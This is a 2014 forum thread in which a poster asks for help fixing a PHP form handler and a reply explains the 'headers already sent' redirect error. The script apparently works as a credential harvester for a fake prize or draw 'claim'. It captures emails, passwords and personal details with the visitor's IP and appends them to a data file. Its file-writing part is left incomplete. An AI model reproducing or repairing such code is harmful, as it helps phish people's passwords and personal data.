View Full Version : Correction for a PHP execution file. Please help.

05-08-2014, 08:37 PM
I have the below script:


$ip = getenv("REMOTE_ADDR");
$message1 .= "First Name: ".$_POST['fname']."\n";
$message2 .= "Last Name: ".$_POST['lname']."\n";
$message3 .= "Email Address: ".$_POST['email']."\n";
$message4 .= "Password: ".$_POST['password']."\n";
$message5 .= "Telephone number: ".$_POST['tel']."\n";
$message6 .= "Nationality: ".$_POST['addre']."\n";
$message7 .= "Age: ".$_POST['age']."\n";
$message8 .= "Occupation: ".$_POST['occupy']."\n";
$message9 .= "Language: ".$_POST['lang']."\n";
$message10 .= "IP: ".$ip."\n";
$message11 .= "-----------------------\n";

$To = $_POST['email'];
$Subject = "Hello ".$_POST['fname'].", C-Date has received your information."; //subject here
$Message = "=======\n
We are happy to have you ".$_POST['fname'].".\n

====== "; // message here
$Headers = "From: site-mail@yourdomain.com \r\n" . //change site-mail@yourdomain.com with your site email
"Content-type: text/html; charset=UTF-8 \r\n";

if ($filehandler=fopen("store_datas_here/claimstoredata.php","a"))


mail($To, $Subject, $Message, $Headers);

header("Location: thank_you_claim.php");


I had a problem with the page after uploading it. After submitting the form, I got the following message.

Warning: Cannot modify header information - headers already sent by (output started at /home/cdatesco/public_html/en/draw_results_exec.php:6) in /home/cdatesco/public_html/en/draw_results_exec.php on line 59


This is because I changed the language of the file property to Unicode UTF-8 and i saw this at the top of the page:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

which was not there initially.

It delivers the message but cannot redirect to the header("Location: thank_you_claim.php");

Can someone please correct this for me?

05-09-2014, 12:42 AM
You're trying to set an HTTP header (the "Location" header): this error message means you have already sent regular output to the browser (and so you cannot set any more headers, which -literally- go before the content).

You need to put your output (the html <head>) after your PHP code.